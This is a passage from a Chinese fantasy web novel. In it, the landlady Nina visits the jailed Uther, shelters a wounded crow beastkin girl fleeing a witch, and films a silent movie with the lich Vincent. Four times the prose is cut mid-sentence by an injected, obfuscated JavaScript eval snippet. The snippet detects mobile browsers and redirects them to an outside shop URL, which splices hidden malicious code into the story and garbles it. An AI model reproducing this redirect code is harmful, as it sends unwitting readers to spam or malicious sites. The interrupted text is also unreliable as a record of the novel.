乌瑟的表情破天荒地显露出一丝动摇。 妮娜注意到他在用余光瞥视站在门边上的那个狱警，于是她猛地闭上了嘴——尽管不知道方才那些话有哪里不对，但她隐约觉察到再说下去可能会触及一些不利于乌瑟的话题。 “我还是不要胡思乱想了。你究竟犯了什么错？如果当真和我有关，也许我可以找一些法学院的同学商量对策。”她说。 乌瑟的嘴角抽动了一下，但神情与刚才相比稍微松弛了一些。 “我还是那句话，先管好你自己的事。想必你已经从大巫妖那里听说了关于这里的事，总之如今我没有性命之忧，呆在这里对我来说未必不是一件好事。你不要再来找我，我就谢天谢地了。” 他试图轻描淡写地略过监狱生活的艰辛之处。 “你不能放任社会对你们的羞辱和偏见，如果不尝试着反抗的话，就什么都不会变好！”妮娜突然激动起来。 “但反抗可能会让事情变得更糟。”乌瑟奇怪地看着她，然后摇了摇头，刻薄又语重心长地说道，“你应该为你是一个人类而感到庆幸，而不是挥霍这个身份带给你的好处。你最好像一个人类那样，彻彻底底压榨你那几位租客的价值，而不是异想天开地去给他们谋求什么社会福利——否则你会把自己整进泥潭里的。” 妮娜说：“我已经下定决心要做些事情了，不能因为畏惧失败就裹足不前。” 她的家庭既不完整也不富裕，但至少可以通过合法劳动赚到足够维生的金钱。 她在社会上遭遇过不少刻薄的对待，但也有愿意对她释放善意的朋友和长辈。 可如果一旦失去“身为人类”这个简单的前提条件，上述的那些让她平安健康地成长至今的“但是”也就不可能存在了。 但事到如今，她没法置身事外——尤其在情感上。 “如果我哪天真的掉进了泥潭，这一切的起因也是你。如果不是你那么‘积极’地让我参加比赛，事情也不会变成现在这样。”妮娜说，“不过我当然会小心，尽量让自己不掉进去的。” 乌瑟凶巴巴地瞪了她一眼：“你本来就是那种多事的好奇心重的性格，这可不是我的错！” “我知道，你想帮助我。”妮娜一句话将他堵了回去。 离开监狱，妮娜觉得心情似乎轻松了不少，这倒是件怪事。 她决定回一趟学校，看看有没有关于乌瑟入狱的蛛丝马迹。 后勤部门的工作日志里没有提及传送阵的事情，也没有近期的事故或维修记录，从故障发生那日至今的档案里没有值得怀疑的地方。 人事部门显示乌瑟走的是正常离职程序，并非被学校开除。也就是说，他是在离职之后再进的监狱。 要么是他在离职之后做了什么违法犯罪的事，要么就是他知道自己即将度过的牢狱生涯，为了不给雇佣单位造成麻烦，所以提前解除关系。 考虑到乌瑟背后应该是管制着所有魔女的七贵族，他提前知道自己要入狱的可能性比较大。 “乌瑟先生的办公桌已经清空了吗？” “应该。不过你可以自己去看看。你问这个做什么？” “我把一份比赛资料留在他那儿了，我自己没有备份，所以想来碰碰运气。” “噢。虽然找到的可能性不大，但……还是祝你好运。” 人事部门的负责人看起来并不知道乌瑟提出离职的原委，又或许她根本就不清楚乌瑟到底是谁，总之妮娜小小地撒了个谎，就轻轻松松获得了查看办公桌的许可。 到达经济学院的办公大楼时，正是午餐的餐点，办公大楼人去楼空，辅导员的办公室也同样看不到一条人影。 这让妮娜省去了解释的功夫，径直在那张空空如也的办公桌上找了起来，结果当然一无所获。那位辅导员像是从这张桌子上抹掉了有关自己的所有痕迹。 就在这时，窗外突然闪过一道黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924274|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影，就像一只巨大的乌鸦从窗外掠过——如果在以前，妮娜一定会相信那就是一只大乌鸦，但现在，她几乎是直觉般的意识到，刚刚从窗外经过的黑影是一位魔女。 她的身体已经抢先作出反应，直接从窗口翻了出去——幸好辅导员的办公室在一楼——追在黑影身后。 她很快就发现，黑影也在追人，追一个和他一样浑身黑乎乎的家伙。他对目标过于关注，以至于没有发现自己已经被人跟踪。 三个你追我赶的人前后拐进教学楼之间的一条狭窄的通道。 跑在最前面的人一定不习惯校内的格局，否则不会跑进一条死胡同里。在这种地形条件之下，只有掌握飞行能力才有可能逃出生天。 而一路追赶她的魔女散发出胜券在握的气势，步伐稳健地向那座U字型的墙角逼去。 妮娜躲在围墙的转角后面，探出半颗脑袋，想要看个究竟。 “别过来！”被逼进墙角的少年喊叫起来。他看起来有十四五岁，但似乎还没有经历变声期。 追赶者对这声徒劳的喊叫置若罔闻，抬起了一条干瘦的胳膊，藏匿在掌心的魔法回路正在施展立场。 唰！ 黑气萦绕的锁链展开的瞬间，有什么东西向天空一跃，遮挡了那些肆无忌惮的阳光。一大团黑色的物体像一堆纠缠在一起的垃圾袋一样漂浮起来。 被逼到绝路的少年居然真的长出了翅膀。 妮娜立刻明白过来，那不是一个人类，而是一个兽人。 魔女的掌心扬起海葵一般的触手，直接锁定了半空中的目标，从四面八方向上包围。 它们各自有着尖锐的前端，并不打算将那个长着翅膀的兽人活捉，而是要将他活活刺穿。 兽人的速度更快一步，他一口气冲上了十二层高的楼顶，最后一次挡住阳光，然后翻过天台，消失在视野之中。 刺眼的光线立刻横冲直撞地落在这片U型区域的草地上。随阳光一起落下的，还有不起眼的红色液体。 魔女意识到自己上当了。 兽人将他诱进这个角落，并非慌不择路，而是是为了替争取逃跑的时机，之前的追逐战全是为了试探他的能力——看看他会不会诸如瞬间移动之类的位移魔法。 在得到否定的结论后，这三面围堵的高墙就成了兽人绝处逢生的筹码。 躲在一旁的妮娜也看穿了这一点，不由自主地为兽人的精彩表现暗暗喝彩。 “什么人？！”魔女注意到窥伺的视线，那些危险的触手瞬间改变了方向，直向墙角呼啸而去。 而妮娜赶在他回头之前，就已经缩回脑袋逃之夭夭。 这可是光天化日之下的大学校园，只要能逃到开阔热闹的地方，纵是魔女也不敢当众杀人。 回到老城区的街道时，阳光已经不再那么热烈，就像这条暮气沉沉的街道本身一样，让人产生慵懒的倦意。 从连接大路的一条只有不到两米宽的窄巷返回罗德里斯公寓时，妮娜看见了堵在巷道当中的那一大团乱七八糟的黑色物体。 “真是的，这年头怎么还有人乱丢垃圾……” 她走上前去，打算喊文森特下来帮她一起清除这些有碍观感的杂物。 那团垃圾袋在她脚下猛地抽搐了一下，一张脏兮兮的脸从里面露了出来。 16. 第三住户 蜷在巷子里的不是巨大的垃圾袋集合体，而是刚才在学校看见的那位兽人少年。 不知道他被伤到了哪里，露在外面的皮肤上沾着血迹，剩下的则被那身漆黑的衣服和漆黑的羽毛挡住了，看不清楚。 如果没有明显的风险因素，妮娜会很乐意让自己的公寓多一位客人，但考虑到他正在被魔女追杀，事情就没那么简单了。 兽人也看见了站在巷子里的妮娜，露出了警惕的表情。但他似乎也十分清楚，不管这个人类要对自己做什么，现在的自己都没有丝毫反抗的能力。 他如同示弱一般小心地挪动了一下身体，一只翅膀逐渐缩小，上面的黑色羽毛也不断褪化，最终变成了一条胳膊。 他从仍保持着翅膀模样的另一只手下面摸索出一张纸片，看了一眼，然后用一种显然是强装出来的可怜的语气说道：“请问……这里是，罗、罗德里斯公寓吗？” 这下妮娜没法装作视而不见了。她谨慎地蹲了下来，屏着呼吸从兽人手中抽出那张纸片，上面明明白白地写着她那座公寓楼的住址和名字： [在我无法回来的这段时间里，如果遇上了什么困难，就到下面这个地址去。那里的房东会替我照顾你的。魔女不会轻易到那儿找麻烦，你可以放心。 老城区1402号罗德里斯公寓，妮娜·斯特尔] 这张纸的页脚还有统一印刷的脚注：恩斯法内大学经济学院。 妮娜看了一眼被毛茸茸的翅膀半遮着的那张紧绷的脸蛋。兽人适时地从口中吐了一口血出来，把她吓了一跳。 “好吧，这儿就是你要找的地方，我就是妮娜·斯特尔。” 兽人眨了几下眼睛，放下心来，然后脑袋一歪，昏了过去。 妮娜看了一眼巷口来往的人群，觉得将这个黑漆漆的大家伙拖到街上，然后从正门进入公寓并不是个明智的办法。 她伸手在一侧的墙壁上触了几下：“亲爱的恶魔城，我需要在这里开一个临时的入口，你一定可以办到吧？” 话音刚落，灰扑扑的墙壁上便立刻产生了一道矩形的凹陷，接着，这道凹陷彻底与周围的墙壁分离，形成了一扇简易的内开的门，门口还贴心地淌下一道斜坡。 妮娜站到门内，一手托住兽人的翅根，一手穿过另一边的腋窝，将他从这扇小门拖进了公寓楼内。 随着拖行，地上出现了一条长长的血迹，一直从巷道延伸至屋内，但随着临时小门的消失，从外面看，那道血迹就这么奇怪地戛然而止了。 “把这儿变成一间病房。” 很快，房间里多了一些家具，布局发生了改变。 虽然血迹没有消失，但地面从粗糙的水泥地变成了砖地，房间中央多了一张可以升降折叠的病床，正好将受伤的大鸟托了起来。 一边的床头柜上，则放置着救护箱，里面装着急救用的药水和道具。虽然空间狭窄，但恶魔城还贴心地准备了陪护席和一个简易的洗手台，窗帘和房门也变成了符合医院印象的样式。 “把这边也变回去吧。”妮娜小心地扯了扯翅尖上的一片巨大的飞羽。翅膀太占据空间了，而且她总担心会不小心将上面那些脆弱的羽毛弄断。 兽人失去了意识，但似乎还是听到了她的要求，仅剩的一边翅膀真的恢复成了手臂的样子。 翅膀、或者说这条手臂后方有一个穿孔。也就是说他刚才并没有全身而退，是因为侥幸和机智才得以逃脱。如果是一只鸟的话，在翅膀受了重伤的情况下，绝对不可能强撑着飞那么远。 另外，还有一个重要情况。这位小兽人，我们不该用他来称呼，而应该说是她。 妮娜在剪开她的衣服替她处理身上那些伤口的时候，才发现这是一个女孩。身体已经开始发育了，所以能很清楚地分辨出来。 只是她剪着通常只会在男孩子头上看到的只有一两寸长的短发，而且脸部轮廓瘦削而分明，光从脸蛋很难确认她的性别。 在经过清洗消毒和包扎等一系列处理之后，她看起来好了一些，并渐渐恢复了意识，妮娜让她穿上了自己的旧衣服，一件宽松干净的棉布T恤。 但是当她看清周围的景象之后，便立刻不顾身上的伤势，从病床上翻了下来，几乎是摔下去的，然后踉踉跄跄地向门口挪去。 “医院！我可不能呆在医院！我得赶紧离开！” 妮娜从身后将她拖住：“好姑娘，安静一点，这里不是医院。” 兽人一下子就变得老实起来，任由房东把她抱回床上。 “这是哪里，你是谁？” “我记得在你昏过去之前已经做过自我介绍了。罗德里斯公寓，妮娜·斯特尔。”妮娜从口袋里摸出那张纸条，递给兽人，“你和乌瑟是什么关系？” 从纸条上的内容及纸张本身，不难判断这就是乌瑟留下的东西——这位兽人小姐会冒险出现在校园里，说不定就是为了寻找这张纸条。 小兽人低下脑袋，考虑了很久，才回答道：“兄妹。” “魔族存在血缘关系？” “我们是从同一个枝节上出生的。” 妮娜仔细打量着兽人的脸，发现这家伙和乌瑟确实有几分相似，尤其是那双仿佛生来就没睡过一个好觉的眼睛。 虽然那位辅导员口口声声不想和她扯上关系，结果连招呼都不打就擅自把妹妹送到了她身边？ “等等……”她突然注意到一个疑点，“你说生命之树的枝节？” ——可是，乌瑟……不是一个魔女吗？ 人类，魔族，魔女，这是三个不同的种族。 虽然后两者的进化与繁衍还存在着诸多不解之谜，并且在名称上也带有一个相同的字眼，但至少在大众，乃至学者们的认知中，魔族和魔女的差别并不比魔族和人类小。 人们并不知道魔女具体是如何诞生的，可无论如何，都不该是从生命之树上——不然，他们就该被归类为魔族的一种。 兽人立刻捂住了自己的嘴，摆明了一副“说了不该说的话”的样子。她的眼睛睁得很大，让人担心那两颗眼球会就这么从眼眶里掉出来。 妮娜举双手投降：“当我什么都没问。” 她原本是个充满好奇心的人，在遇到问题时通常会激动万分地刨根问底，但刚才遭遇的那个魔女让她决定暂时收敛一点。 她可不想因为发现了什么不可告人的事情而被魔法链条刺穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924275|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩膀。 “乌瑟让我来找你，说明你是能够信赖的人。我相信你。”小兽人沉默了一会儿，说。 “不……你可别说什么多余的话。”妮娜回绝了她的信赖。 她掀开笔记本电脑，找到那个记载租客资料的文件：“好了，先做一个简单的登记，姓名，种族，年龄。” “乌鸦，兽人，三十四。”兽人少女老实地答道——姑且不说三十四岁是否该被称为少女。 虽然人类把鸟和兽做了区分，不过魔族统一将具有动物特性的分支——无论是哪种动物——统一称为兽人。 统领这个庞大分支的魔界贵族正是同时具有鸟类和走兽特征的大狮鹫。 ——这些内容可以从《勇者笔记》中了解到。 “你不姓斯莱曼？” “我们没有姓氏。” “可是乌瑟——” 妮娜看到乌鸦皱起了眉毛，及时地掐断了这个话题。 魔族成员基本没有姓氏，而乌瑟是一个魔女，贵族院会大发慈悲地将那种东西送给他们。 发散思维使她在输入数字的时候打错了一位，她赶紧用退格键删掉：“三十四岁……哦，我明白，兽人的寿命普遍很长。” 比如罗德里斯基地里的那位厨子，狼人克里斯——他是在人魔大战期间出生的，在基地被毁的时候已经有三百零一岁了。 乌鸦点点头：“我们一般在五十岁的时候步入成年。” “漫长的青春期，真让人羡慕……” “成年之前的兽人非常弱小，漫长的生长期，也意味着漫长的危险期。” 妮娜索性又打开另一个用来记录各种不同魔族特性的文档：“我听说过，像狮子豹子那一类的动物，成体和亚成体之间的战斗力有着天壤之别。你们在成年之后也会变得非常强大吗？” “至少刚才不会那么狼狈。”乌鸦说。 妮娜尽可能避免将话题绕回到那些不可言说的事情上，索性考虑起能够从“兽人”这一种族中挖掘出哪些让人感兴趣的要素。 “我过去遇见过一位狼人，他能够直立行走，并且拥有灵活的五指，但他的外形显然更像一头狼。可你在没有翅膀的状态下看上去完全就是一个人类。”她说，“可以和我谈谈这种区别吗？” 乌鸦皱了皱眉。 “你为什么要问这些？”她警惕道。 “我正在网上做一些关于魔族的科普节目，现在还在起步阶段，不过已经有了一些成果。”妮娜的语气有一点得意，“流量可以转化为收益，这是让公寓得以运营的资金来源。” 听起来这个廉租公寓好像已经是一个成熟的商业项目了。 事实上“起步阶段”才是整句话中最接近真相的词汇。 乌鸦扭动了一下脖子，将肩膀附近残留的羽毛彻底藏了起来，一边解释道：“兽人之中存在半兽人的亚种，也就是像我这样的。我们可以在偏向动物的形态和偏向人类的形态之间自由切换。” 这时候，走廊上传来一阵轻微的敲门声。妮娜意识到有人在敲101室的房门，于是对乌鸦做了一个抱歉的表情，转开门把手，将脑袋探了出去：“出什么事了，文森特？” 17. 黑白默片 大巫妖愣了一下，然后像一团影子似的飘到病房门口：“斯特尔小姐，你不总住在101吗？” 妮娜对他笑笑：“我在招待新的租客，这儿需要打扫一下卫生，待会儿可以麻烦你吗？用具都收在一楼的布草间。” “当然。”文森特眯起眼睛表示同意，他看起来已经没有昨天那么拘谨了，甚至显得相当自在。 “你有事找我？”妮娜看到他怀里揣着一叠纸。白色的纸张在他黑色的身体上十分显眼。 大巫妖的眼睛变得更加弯了：“我从两位邻居那里见习了你们的现有业务，并且有意加入。” 妮娜对他的适应能力感到惊讶，“第一眼见到你的时候，我以为你是一个寡默内向的魔族。”他比想象中要积极得多。 “我只是在监狱呆得太久了。”大巫妖说。 不可否认，长期的与世隔绝会产生一些负面影响，但他克服得很快。 妮娜回头看了乌鸦一眼：“正好是一个让你了解情况的机会，不介意的话，可以让他进来聊聊吗？” 乌鸦看到门外的大巫妖，也许是因为见到同类，情绪似乎了一些。她坐在病床上，点了点头，说道：“这是你的房产，不需要过问我的意见。” “你说话的风格和乌瑟挺像的。”妮娜说。 她将文森特迎了进来。原本就不大的房间此时显得有些拥挤。 “这房间的布局真独特。”文森特打量了一下周围，接着才将视线落到病人身上，“你好，我是昨天才搬来这里的文森特。” 乌鸦抿了一下嘴唇：“我是今天才来这儿的。” “好了，让我们听听你的想法吧。”妮娜让出了陪护席，端正地坐在盥洗台前的凳子上，将大腿当成电脑桌，满脸期待地看着黑乎乎的大巫妖。 “我已经从薇薇安小姐和拉弗尔先生那里学习了现代文明的精髓。” “嗯。” 也许“夸大”就是这位大巫妖的风格。毕竟五十年的科技鸿沟不是一天一夜就能填补的。更何况视频和直播远远谈不上什么文明精髓。 文森特毫不羞涩地从看起来和他的身体长在一块的斗篷下面抽出一份文件，递给房东，“这是我尝试编写的一份剧本，我也想拍一个‘短剧’。” 妮娜讶异地从他手里接过那份文件，只有薄薄的三张纸，正反两面都被毫不浪费地利用了起来，上面疏密错落地排布着大片字符。 在她开始阅读这份稿件的时候，乌鸦也以其敏锐的视觉扫到了其中的一些内容，并狐疑地拧起眉毛。 “你认识那些字？” “什么？”妮娜从稿件中抬起头来。 乌鸦指着她手里的纸张说道：“我没看错，那是魔族的文字，我小时候学过一点，但还没学多久，这种文字就被贵族院彻底取缔，现在已经几乎看不到了。” “我是在五十年前进入监狱的，那时候我们还能正常使用这些文字。在监狱里的时候，也没有人阻止我们这么做。”文森特说，“看来我们与时代脱节太久了。” 对于种族特有文字的消亡，他显出一种消极的态度，但是没有在语言中表现出来。 乌鸦提高了声音，直勾勾地盯着房东：“不是，你不觉得奇怪吗？难道你能看得懂这些字符？你——一个年轻的人类？” 妮娜低下头，再次看向纸面上的符号，咽了一口唾沫。 [被捕的时候，我才二十出头，对于巫妖来说，尚属幼年。] 纸张上的符号明显与人类教育体系中的那种文字截然不同，她能分辨出这件事。 她绝对没有在任何地方、任何时候、向任何人学习过这种符号，可她能够理解其中的意思，就像最寻常的读书认字一样。 如果有人提醒，她甚至不会意识到这是一种她不该认识的符号。 过了一会儿，她抬起头来，看向他们：“呃……我知道了。这大概是一种天赋！偶尔也会有这种事情，比如以前有一个被雷击中的人，苏醒之后就突然无师自通了外国的语言——而且那是一种和他的母语完全没有相关性的语种。” 乌鸦皱起了那两条清秀的眉毛：“你被雷劈过？” 妮娜垂下肩膀：“……不。雷击只是一个例子。我记得有一个专门的词汇用于描述这种现象，好像是突发性……唔，突发性学者综合征。也许我和魔族真的很有缘分。” “——或许我生来就该干这个。” 她一直觉得“会读书”是自己身上唯一的可取之处，没想到圣灵还赠与了她这样一份隐蔽的才能——尽管对在人类社会立足方面实用性有限，但还是令人激动。 她平复了一下情绪，决定先将这部作品看完。 文森特同意她把稿子念出声来，这样可以让乌鸦也了解内容。 他看起来不是那种会因为要在公众面前展示才艺而露怯的人。不过他一定不知道“剧本”究竟是怎么回事。 尽管他自称这是一份剧本，但其形式和内容都与一份剧本该有的形象相去甚远，更像一篇洋洋洒洒的自传文章。 它用极其精炼的语言描述了作者本人锒铛入狱的前因后果，以及在监狱中度过的五十年光阴。 假扮成人类躲藏于按摩店时的提心吊胆。被告发，被抓捕，被关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924276|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入已经充斥着大小巫妖的监狱。 在监狱中，从最初怀疑自己马上就会被处死的恐惧，到终于确认自己可以活下去时的释然，紧接着又因为在劳动改造中处处落后而自卑不已，到进步得到表扬时的心满意足…… “我们排成几列纵队，整齐地站在集合的场地上，准备聆听狱警对我们的训谕。‘牢房的空间不够了，我们要随机选一名囚犯进行释放，赶紧祈祷自己就是那个幸运儿吧。’狱警对我们这样说道。 “但我想，我的同伴们一定都在祈祷自己不要成为那个被选中的可怜蛋。我们早就习惯了监狱的豢养，事到如今，我们要如何才能在外面的世界生活下去呢？有人开始发抖，狱警扬了扬手里的鞭子，不过他也知道，我们无法感受到被鞭打的疼痛……” 这些通过文字吐露出来的情感让妮娜简直就像感同身受似的体会到了文森特在前往罗德里斯公寓时内心的纠葛——所以那时候他才会表现得如此不安——而实际上那完全不是他原本的性格。 “听上去你很依赖人类对你的饲养。”乌鸦在听完之后第一时间发表冷嘲热讽。 文森特情绪有些激动：“不可否认，确实是那样，但你没看出来吗，人类打算对我们进行社会性的种族灭绝！” 乌鸦困惑地看着他。 文森特生气地眨了眨脸上的圆片。 妮娜突然意识到除了龙族、元素兽还有幻灵之外，巫妖也是一个游走在被遗忘边缘的种族。 为什么？明明老吸血鬼说过，巫妖核心就在七贵族的手中，社会为什么还会仿佛刻意似的排斥这个种族？ “这更像是一篇散文，很难从里面提炼出什么剧情，你想把它拍成什么样的作品呢？”她问。 文森特立刻收敛了情绪，眼睛又弯了起来：“默片！” 这位大巫妖入狱前后，正好是无声电影发展到巅峰的年代，不难想象他会受其影响。 如果真的要将这篇自传转化为视觉作品，默片的确是一个不错的想法。 可是那种电影形式已经过时很久了，现代社会更喜欢具有冲击性的画面和音声。 而且文森特给出的脚本太过意识流，因此也就不可能用惊险刺激的剧情博得喝彩。 妮娜感到十分为难。 她好像已经预见了失败的结局，但又不想拒绝大巫妖的这份热情。 不过考虑到如果能够控制拍摄成本，也未必不能进行尝试。 “我觉得……行。”她犹豫了很久之后应了下来。 文森特不知道房东的心理活动，此时只是单纯地因为得到认可而感到由衷高兴。 18. 地狱之火 文森特是一个外形沉闷但其实有着喜剧天赋的大巫妖，他在演出时的表现总是让妮娜想起一位默片时代的喜剧大师。 那无关长相——毕竟除了一团漆黑和两片圆形之外很难再深入描述一个大巫妖的外表——而是一种气质。 你不会想到两个圆片在镜头面前能够表现出如此丰富的情感细节。 认清现实，麻木，失望，暗藏欢喜……这些情绪都通过圆形的细微调整被精确地复现了出来，比文字所能展现的内容更加生动。 他在其中一人分饰多角。反正他的狱友大多数是和他长得一模一样的大巫妖。 这些犹如复制黏贴一般的角色在后期被合成到同一个场景中，这时候你才会发现，他们看上去都被掩没在同样的情感中，但实际上每个人又有各自不同的小心思。 乌鸦客串狱警。文森特让她用翅膀将身体裹住，模拟人类狱警的风衣外套。她的整个身体，包括头部都被要求藏在翅膀下面，这是为了用“无头狱警”这一象征形象向观众复现出真实的恐惧感。 这部短片以黑白二色为主，但并没有刻意去掉画面中的其他色彩，因为一切景物和人物天然只具备黑白两种颜色——空旷的白色的监狱，一群黑色的大巫妖，还有一位黑色的狱警。 配乐是专门录制的喀喀喀、咯咯咯的环境音，旁白由文森特本色出演——不过数量很少，大多数“剧本”文字都已经被场景和演出还原出来了。 比如最后那一幕，狱警站在前方，公布将有幸运儿出现的“喜讯”，拥挤在狭小的白色房间里的一大群巫妖用呆滞的、微妙的、沉默的表情作出了回应。 封面上没有任何噱头，只有一片空虚的白色背景，以及站在画面中间的、像是要消散在这片白色中的模糊黑影，黑影睁着两片白色的圆形的眼睛，茫然地注视着画面之外。 标题是《忏悔录》。 “我想我们得做好心理准备，这一定是一个好作品，只是不一定受人喜欢，你知道吗？”妮娜在等待视频上传的时候，不止一次地向同伴们表达了这个意思。 “但我相信好作品不会被埋没的。”文森特自我感觉良好地说。 ——这种过剩的自信正是让妮娜感到担忧的地方。 “要是能传达一些东西那固然不错，但更大的可能是无人问津。”她换了个说法重申道。 “你啰嗦够了没有。”乌鸦感到不满，“这毕竟是我们花了心思的，用得着这样打击人吗？” “说起来我们现在可以准备大巫妖和兽人的知识讲座……”妮娜决定立刻转移话题。 打开后台的活动记录，发现魅魔们已经完成了一场直播，主要内容是初登场的问候、自我介绍、情侣互动以及一些粉丝问答，收到的打赏礼物和在直播期间新增的粉丝都被忠实地记录在案。 后台积累的金额在提现之后就算扣除房租和抽成，还能留下一些。她在账本上记了一笔。 关于收益的抽成，她是和魅魔们商量之后才定下的，她起初打算拿四成，但魅魔们主动压缩收益，提出让她抽走六成。 理由是在能够确保衣食住的情况下，他们的生活成本很低，即使有钱也没地方用，其二是他们希望妮娜能用这些钱来支援暂时找不到生计的房客，或是接济一些有困难的魔族。 “这支视频是我们共同创作的，可以用来抵消头一个月的房租。”妮娜对文森特和乌鸦说，“如果能产生后续收益的话，那就再好不过了——” 更大的可能是颗粒无收。 她顿了一下，继续说道：“或许我们应该坐到一起好好谈谈关于收益分配的事情，用书面合同的形式定下来。” 她很快就关掉了乐飞的页面，转而去创业大赛的官网考察了一下赛况。 短短几天功夫，罗德里斯公寓虽然还身处后排，不过已经脱离了吊车尾的行列。 她把页面往前翻了翻，视线突然被第二页中排的某个项目图标给吸引了。 洋溢着蓬勃又嚣张的生命力的火焰图案。 她将鼠标移了过去，迟疑地点击了一下。 项目的详情页跳了出来，一副熟悉的画作出现在网页的背景中，是那个得到政府奖励的美院学生以炼狱兽为主题绘制的作品。 他似乎以此为灵感，开发了名为“地狱火”的文创品牌。从项目履历来看，他的第一桶金是靠售卖由那张画作衍生的印花衬衫和卫衣获得的。 妮娜循着网页上的提示找到了相关商品的售卖链接。 销量非常惊人。 之前的新闻报道给这个美院学生带来了意外的关注，而他也没有错过这个千载难逢的机会，给自己的参赛项目做了一番推广。 可是要达到这个销量，绝对不是一起新闻事件的引流就能达到的效果。 在眼下这个社会出现大范围颓废不安风气的节骨眼上，这种充满反叛意味的作品似乎大受欢迎，成为部分年轻人宣誓精神自主权的标志。 除了炼狱兽之外，店铺中还有另一款高人气同类商品。 巨大的球体和泛虚的线条被用来刻画当时发生在王都近郊的那场高聚能爆炸——一副极具冲击力的图画，讲述了罗德里斯基地被摧毁时的场面。 那件事在各种新闻网站被挂了好几天，但由于七贵族封锁了现场，也不允许任何相关影像流出，人们只能从记者们竭尽所能的文字描述中想象当时的震撼景象。 那可是一座接近八分之一王都大小，深入地下超过三十米的巨大基地。 七贵族一共出动了五十名魔女，解放了他们身上高阶魔法的封印，一半用破坏魔法对基地进行毁灭性打击，另一半则用结界魔法将破坏产生的波动封锁在结界之内，所以在爆炸发生的当时，王都根本就没人觉察到任何异象。 正因没有觉察到异象，这场超高规格的破坏行动才会被赋予各种夸张想象，而这款衬衫上的印花图案将人们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924277|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的抽象想法具现了出来。 平民们也在期盼着一场大爆炸，一场能够打通他们枯竭堵塞的道路的大爆炸。 这个画面以一种奇妙的巧合，迎合了这个时代所暗藏的心理，成为了一种时尚的标志，也给这个名叫阿尔弗雷德·克雷斯的美院学生带来了一大笔财富。 “真是恶趣味。”乌鸦看到了网站上的内容，自然也看到了各自具有象征意义的两幅印花图案，“真想不通，人类为什么会把对另一个种族的屠戮当成一场狂欢。” 刚刚出狱的大巫妖当然还没有获知相关消息的渠道，此时不□□露出一丝茫然：“发生什么事了吗？” 不等妮娜开口，乌鸦便解释道：“人类不久前摧毁了一个用罗德里斯命名的大型魔族基地。那很有可能是世界上最后一个原始魔族的聚落。你知道这代表什么。” 大巫妖的圆眼睛微微扁了一下，像是被什么东西刺痛了。 妮娜不知道两位魔族在这短暂的沉默中达成了什么共识，她不知道这件事除了“毁灭”之外还有什么更深层次的含义。她只是开始怀念起吸血鬼那冷得让人发抖的拥抱。 乌鸦沮丧地说道：“这个世界上再也没有能够违逆人类的魔族了。” 妮娜想起了吸血鬼说过他们不能在人类社会生存的原因——他们是七贵族无法控制的存在。 “等一下，罗德里斯，罗德里斯——没记错的话，那是魔龙大人的名字。”文森特嗫嚅道。 妮娜说：“魔龙就藏在地下的结界里——那就是基地名称的由来。贵族院彻底封锁了爆炸现场，很可能就是为了不让外界获得魔龙的消息。也就是说，罗德里斯现在很可能仍呆在那里。” “你说什么？！”乌鸦近乎惊叫地问道。 “魔界还有一位活着的大贵族！”文森特说。 “你是怎么知道的？”乌鸦又问。 妮娜不打算隐瞒：“这栋公寓就是罗德里斯基地的馈赠——我在春假的时候有幸去过那里，正是那段经历让我决定开创现在的事业。” “看来这里其实是罗德里斯基地的精神续作了。”文森特发表了精辟的高见，“可惜我们不是原始魔族。” 他哈哈地干笑了两声，显得有些无奈：“但也无所谓。反正我们不可能与七贵族的力量抗衡。” “我要去亲眼确认一下！”乌鸦说。 “太危险了。”妮娜一下子就抓住了房客的手腕，但这位身手敏捷的女士一下子就躲了过去。 “这是一件大事，我必须弄个明白。” “爆炸现场被魔女重兵把守。你的伤还没好，是想去找死吗？” 乌鸦这才稍稍冷静了一点，她胸口深深地起伏了一下：“抱歉，我的情绪有点激动。你不知道……你不知道……” 过了一会儿，她终于用不再打颤的声音说道：“你不知道这对我们来说有多重要。” “我们”当然指代整个魔族。 19. 大额打赏 